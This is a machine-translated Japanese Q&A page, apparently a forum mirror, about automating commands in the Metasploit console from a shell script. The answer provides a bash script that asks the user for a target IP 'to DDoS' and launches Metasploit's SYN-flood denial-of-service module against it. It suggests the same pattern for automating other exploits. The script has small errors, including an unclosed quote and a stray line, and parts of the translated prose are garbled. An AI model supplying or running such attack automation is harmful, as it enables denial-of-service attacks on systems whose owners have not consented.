2017-04-22 7 views
1

私はスクリプトを書いていますので、私のスクリプトはターミナルで実行する必要がありますが、私が実行しなければならないコマンドを実行しようとするまでmetasploitコンソールは手動でコンソールを終了するまでスクリプトを停止し、次の行から再開します。コンソール内でコマンドを実行するためのスクリプトを書く

metasploitを実行すると、コマンドを実行できる端末の中にコンソール(msfconsole)が開きます。

コンソール内で実行するスクリプトに特定のコマンドを追加するにはどうすればよいですか?

これらは私が実行したいコマンドです:

msfconsole (this command starts the metasploit console, this command works fine in the script) 
search netapi (This searches the exploit i want to use, now this command is to be entered inside the console which my script cannot do) 

すべてのコマンドは、コンソールで入力する必要がある。この後、コンソールは次のようになります。MSF>

+0

スクリプトが何でありますかシェルスクリプトかPythonかRubyか? – LethalProgrammer

+0

そのシェルスクリプト – HeroicJokester

+0

シェルスクリプトで特定のコマンドをどのように実行するのか、どのようなコマンドを 'ls、cat、ps'と呼んでいますか? – LethalProgrammer

答えて

1

は、私はあなたがいると思いますこの

#!/bin/bash 
    TARGET 
    echo " Choose who to DDoS (IP address ONLY), use nslookup < URL> to get IP address" 
    read TARGET 
    msfconsole -q -x "use auxiliary/dos/tcp/synflood;set RHOST $TARGET; exploit; 

これは、msfconsoleを起動/ DOS/TCP/SYNFLOODの補助を使用して、ターゲット上のDDOS攻撃を開始、することによってIPアドレスの種類であるうような何かを探して ユーザー。 あなただけ活用し、変数を変更、この方式を使用して、Metasploitのを自動化するために他のスクリプトを書くことができ いけない実行 を許可するように+ X yourscript.shのchmod aを行うことを忘れても、このを見て:https://www.offensive-security.com/metasploit-unleashed/writing-meterpreter-scripts/

関連する問題